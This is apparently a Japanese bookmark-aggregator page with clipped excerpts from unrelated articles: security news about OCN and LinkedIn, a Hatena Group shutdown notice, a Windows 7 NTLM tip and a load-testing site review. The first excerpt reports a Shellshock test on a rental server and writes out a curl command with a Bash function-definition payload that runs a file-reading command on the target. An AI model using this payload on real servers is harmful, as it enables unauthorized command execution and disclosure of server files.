BASHの脆弱性でCGIモードで動いてるPHPにアレさせてみました - dogmap.jp
タイトルはパクリ 元記事: BASHの脆弱性でCGIスクリプトにアレさせてみました – ブログ – ワルブリックス株式会社 sakura のレンタルサーバが cgi モードで php 動かしてるよなーと思ってテストしてみたらできました。 # テストスクリプトは削除済みです。 test.php test.sh #!/usr/local/bin/bash echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script which is executed by /usr/local/bin/bash" 結果 : Apache CGI版 PHP $ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php' http://wokam
OCNに不正アクセス パスワード756件が変更される
NTTコミュニケーションズは6月26日、ISP「OCN」で、ネット接続用の認証パスワードが第三者に不正に変更されたと発表した。対象のユーザーのID数は756。契約情報や決済情報などの流出は確認していないという。 パスワードが不正に変更されたのは、6月21日から25日までの間。同社が24日、OCNのログをチェックしたところ、特定のIPアドレスから、多数のユーザーのOCN認証IDにパスワード変更を試みる事象を確認したという。 同社は対象ユーザーのパスワードを初期化し、個別に連絡した。今後は、システムの監視態勢を強化し、ユーザーにパスワードの定期的変更を依頼するなど対策を行っていく。 関連記事 ヤフー、暗号化されたパスワード148万件も流出の可能性 不正アクセスで ヤフーは、17日に発表した不正アクセスで流出した可能性がある2200万件のYahoo！IDのうち148万6000件で、不可逆暗号化さ
LinkedInの「iOS」アプリ、データを無断でサーバに送信か
モバイルセキュリティに関する2人のリサーチャーによると、LinkedInの「iOS」アプリは、カレンダーに入力されたデータからパスワードや会議メモなどの情報を収集し、ユーザーに通知することなくそれらを同社のサーバに送信しているという。 Appleの「iPad」および「iPhone」を対象とするLinkedInのアプリは、ユーザーがカレンダーに入力した情報を同アプリ内で閲覧できるようにするためのオプトイン機能を備えている。しかし、いったんその機能をユーザーが有効にすると、同アプリはユーザーのカレンダー入力情報をLinkedInのサーバに自動的に送信してしまうことを、リサーチャーのYair Amit氏とAdi Sharabani氏が発見した。両氏はテルアビブ大学で現地時間6月6日に開催されるセキュリティワークショップで、この発見を発表する予定だ。 ユーザーに開示されないこうしたデータ送信は、ア
はてなグループの終了日を2020年1月31日(金)に決定しました - はてなの告知
はてなグループの終了日を2020年1月31日(金)に決定しました 以下のエントリの通り、今年末を目処にはてなグループを終了予定である旨をお知らせしておりました。 2019年末を目処に、はてなグループの提供を終了する予定です - はてなグループ日記 このたび、正式に終了日を決定いたしましたので、以下の通りご確認ください。 終了日: 2020年1月31日(金) エクスポート希望申請期限:2020年1月31日(金) 終了日以降は、はてなグループの閲覧および投稿は行えません。日記のエクスポートが必要な方は以下の記事にしたがって手続きをしてください。 はてなグループに投稿された日記データのエクスポートについて - はてなグループ日記 ご利用のみなさまにはご迷惑をおかけいたしますが、どうぞよろしくお願いいたします。 2020-06-25 追記 はてなグループ日記のエクスポートデータは2020年2月28
Windows7でサーバーに接続できない « Prosum-Blog
Windows7でファイルサーバーに接続できない（ユーザー名とパスワードを要求されるが、正しいものを入力してもダメ）ときは、次の手順でセキュリティ設定を変更すれば大丈夫。 [スタート]→[コントロールパネル]（表示方法：[大きいアイコン]または[小さいアイコン]）→[管理ツール]→[ローカル セキュリティ ポリシー]→[ローカル ポリシー]→[セキュリティ オプション] 表示された[ポリシー]の中の[ネットワーク セキュリティ：LAN Manager 認証レベル]の[セキュリティの設定]が[未定義]になっているはず。 この値を[NTLM 応答のみ送信する]に変更すれば接続できるようになります。セキュリティをもう１段上げて[NTLMv2 応答のみ送信する]に変更して接続できれば、こちらの方が安全です。やってみてください。 【注】他の人のブログでは、レジストリに[LmCompatibility
URLを指定するだけでササッとサーバの負荷テストができるサイト「LOAD IMPACT」*二十歳街道まっしぐら（FC2ブログ時代）
「LOAD IMPACT」はサーバの負荷テストができるサイトです。 サイトによりけりですが、数分から10分程度で完了します。（途中中断できます） 自宅サーバなどを立ててる方はチェックしてみると面白いかも。 当サイトでもやってみました。 （※悪用厳禁ですよ） 以下に使ってみた様子を載せておきます。 まず「LOAD IMPACT」にアクセスします。 無料登録ができますが、登録なしでも測定可能です。 負荷テストしたいURLを入れます。 有料プランがありますが、左側の無料プランで最低限のチェックは可能です。 負荷テストの結果です。 ユーザのロード時間がグラフで表示されています。 右側で結果を切り替えられます。 （ちなみにこの機能を使うには、無料登録が必要です。） 帯域幅の使用量でしょうか。 サイトをお持ちの方はチェックしてみてはどうでしょう。 （本記事で紹介したサイト：LOAD IMPACT）
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
SSH力をつけよう